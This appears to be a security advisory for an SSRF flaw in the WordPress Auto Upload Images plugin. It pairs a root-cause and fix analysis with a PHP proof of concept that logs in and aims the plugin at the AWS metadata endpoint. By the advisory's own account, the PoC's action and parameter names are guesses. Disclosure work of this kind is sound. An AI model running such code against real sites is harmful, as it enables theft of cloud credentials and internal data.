Published : August 11, 2026

CVE-2025-49985: Auto Upload Images <= 3.3.2 Authenticated (Contributor+) Server-Side Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 3.3.2
Patched Version
Disclosed June 18, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-49985 (metadata-based): This vulnerability allows authenticated users with Contributor-level access or higher to perform Server-Side Request Forgery (SSRF) against arbitrary internal or external locations. The affected component is the Auto Upload Images plugin for WordPress, versions up to and including 3.3.2. The CVSS score of 6.4 identifies this as a medium-severity issue that compromises confidentiality and integrity of internal services.

The root cause is the plugin’s inability to validate or restrict the destination URL for image import operations. The plugin likely provides a feature that fetches images from a user-supplied URL. The CWE-918 classification indicates that the plugin constructs an outbound HTTP request based on attacker input without proper allowlisting of hosts, ports, or schemes. These conclusions are inferred from the CVE description and CWE classification, as no source code diff was available for analysis.

An attacker with Contributor-level access can exploit this by crafting a request that instructs the plugin to fetch a URL pointing to an internal resource. The attack likely occurs through a plugin-specific AJAX action or a form submission to an admin page that handles the image import. The attacker would supply a malicious URL such as `http://169.254.169.254/latest/meta-data/` or `http://localhost:8080/` as the image source. The plugin would then make a server-side request to that URL, potentially returning the response to the attacker or allowing the attacker to modify internal service state via crafted HTTP methods.

A proper fix requires the plugin to implement strict URL validation and allowlisting. The plugin must restrict the allowed protocols to HTTP and HTTPS and block access to private IP ranges, loopback addresses, and link-local addresses. The plugin should also require user confirmation for external URL imports and validate the final resolved IP address after DNS resolution. Additionally, the plugin should restrict the allowed HTTP methods to GET for image fetching purposes.

The impact of successful exploitation is significant for internal environments. An attacker can query metadata services to obtain sensitive cloud credentials, access internal application endpoints, exploit internal services via their HTTP APIs, or perform port scanning of the internal network. This can lead to information disclosure, lateral movement, or further compromise of internal systems and data.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49985 - Auto Upload Images <= 3.3.2 - Authenticated (Contributor+) Server-Side Request Forgery

// This PoC demonstrates how an authenticated Contributor-level user can exploit the SSRF
// vulnerability in the Auto Upload Images plugin. The exact AJAX action name is inferred
// from the plugin slug and common WordPress plugin patterns.

// Configuration - change these values
$target_url = 'http://your-wordpress-site.com'; // The WordPress site with vulnerable plugin
$username = 'attacker'; // Contributor-level username
$password = 'attacker_password'; // Contributor-level password

// The URL to fetch (internal service target)
$ssrf_url = 'http://169.254.169.254/latest/meta-data/'; // AWS metadata service example

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Get the WordPress login nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_page = curl_exec($ch);

// Extract the nonce from the login page
preg_match('/name="_wpnonce" value="([^"]+)"/', $login_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 2: Authenticate
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'testcookie' => '1',
    '_wpnonce' => $nonce
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_exec($ch);

// Step 3: Exploit SSRF via AJAX handler
// Common WordPress AJAX action names for image import: 'auto_upload_images_upload', 'upload_remote_image'
// The actual action name may vary, but this pattern is based on plugin conventions
$ajax_action = 'auto_upload_images_upload'; // Replace with actual action name if known

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => $ajax_action,
    'image_url' => $ssrf_url, // SSRF payload - not validated
    'nonce' => '', // Likely missing nonce or easily obtained
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
curl_close($ch);

// Output the response (may contain internal service data)
echo "[+] SSRF Response:n";
echo $response;

// Note: The exact AJAX action name and parameter names are inferred.
// In a real attack, these would need to be identified from the plugin's source code.
// The SSRF URL can also point to http://localhost, http://127.0.0.1, or internal IP ranges.

?>

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